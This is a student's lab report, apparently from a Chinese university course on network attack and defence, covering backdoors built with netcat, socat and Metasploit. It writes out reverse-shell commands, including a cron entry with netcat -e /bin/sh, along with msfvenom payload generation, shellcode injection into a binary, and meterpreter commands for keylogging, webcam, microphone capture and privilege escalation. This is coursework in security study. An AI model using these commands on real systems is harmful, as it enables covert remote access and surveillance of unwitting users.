20192410 2021-2022-2 《网络与系统攻防技术》实验二 后门原理与实践 实验报告

20192410 2021-2022-2 《网络与系统攻防技术》实验二 后门原理与实践 实验报告


1.实验内容

  • 使用netcat和cocat实现win和Linux的后门连接
  • 使用meterpreter实现
    • 生成可执行文件传送到主机
    • 获取目标主机音频、摄像头、击键记录,提权
    • 生成shellcode注入,获取反弹连接

2.实验过程

2.1使用netcat获取主机操作Shell,cron启动某项任务

(1)获取Win的IP

ipconfig

(2)Windows打开监听(在ncat的目录下执行命令)

ncat.exe -l -p 8888

(3)在kali中打开cron

  • 输入 crontab -e 选择编辑器,在最后一行添加 * * * * * /bin/netcat 192.168.0.102 8888 -e /bin/sh,即每分钟都执行一次该指令

  • 保存、退出后配置即生效。可以通过"crontab -l"来查看

  • 此时win就获得了kali的shell

2.2使用socat获取主机操作Shell, 任务计划启动

(1)打开win的计算机管理中的任务计划程序并创建任务

  • 填写任务名

  • 新建触发器

  • 在操作界面,在程序或脚本中选择socat.exe的路径,添加参数一栏中填写"tcp-listen:5110 exec:cmd.exe,pty,stderr",该命令会将cmd绑定到5110端口,并把cmd.exe的stderr重定向到stdout上

(2)创建好后,在预定时间会弹出一个cmd窗口,不关闭该窗口,在kali中输入"socat - tcp:192.168.0.102:5110",就可以获得win的shell

2.3使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(1)生成可执行文件

在kali上执行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.129 LPORT=5110 -f exe > meter_backdoor.exe

此时在对应目录下会生成后门程序“meter_backdoor.exe”

图片

(2)让win接收文件

  • 在win下执行"ncat.exe -l 5110 > meter_backdoor.exe"
  • 在kali中执行"nc 192.168.0.129 5110 < meter_backdoor.exe",然后在win对应目录下会接收到文件

(3)MSF打开监听进程

  • 进入msf控制台

      msfconsole
    
  • 使用监听模块

      use exploit/multi/handler
    
  • 设置payload、IP、端口(这里的IP和端口要与生成后门文件时的一样)

      set payload windows/meterpreter/reverse_tcp
      set LHOST 192.168.197.129
      set LPORT 5110
    
  • 执行监听

      exploit
    
  • 运行win上的后门程序,kali就可获得shell

2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 获取音频

      record_mic  
    
  • 获取摄像头

      webcam_snap
    
  • 截屏

      screenshot
    
  • 击键记录

      keyscan_start  记录击键过程,
      keyscan_dump   读取击键记录
    
  • 提权

      getuid      查看当前用户
      getsystem   提权操作
    

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

(1)生成shellcode并注入

sfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.197.129 LPORT=4444 -x /home/lxf/exp2/pwn20192410 -f elf > pwn 

(2)在另一个终端中运行生成的pwn文件,即可获得连接

3.问题及解决方案

  • 问题1:在Linux中编辑好crontab后Windows并没有获得Linux的shell
  • 问题1解决方案:编辑crontab时IP地址应该为Windows的IP地址,即主控机的IP地址,因为是需要Linux去反弹连接Windows。
  • 问题2:使用msf监听失败
  • 问题2解决方案:生成文件时的LHOST和LPORT与之后设置的不一样。
  • 问题3:2.5中运行生成好的文件时没有成功。
  • 问题3解决方案:发现是权限不够,于是通过指令 chmod u+x* 提权即可

4.回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  后门与正常程序捆绑,安装程序时捆绑安装

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  将建立链接的可执行文件伪装成其他正常的东西诱导用户打开
  或者将与其他文件进行捆绑启动
  使用cron定时启动任务进行后门连接

(3)Meterpreter有哪些给你映像深刻的功能?

  利用msf可以非常方便地生成许多具备不同功能的payload

(4)如何发现自己有系统有没有被安装后门?

  杀毒软件就可以进行检查,比如本实验就是在关闭杀毒软件的前提下进行的。
  检查本机的启动项

5.学习感悟、思考等

本次实验使我对于后门的一些基本理论以及netcat、socat和msf的使用有了一定的了解。让我感受到后门无处不在、威胁巨大的同时,也让我不禁感叹能够做出躲避重重安全检查的后门程序该有多难,希望通过今后的学习能够有所精进。

posted @ 2022-03-31 15:17  fxlykd  阅读(67)  评论(0编辑  收藏  举报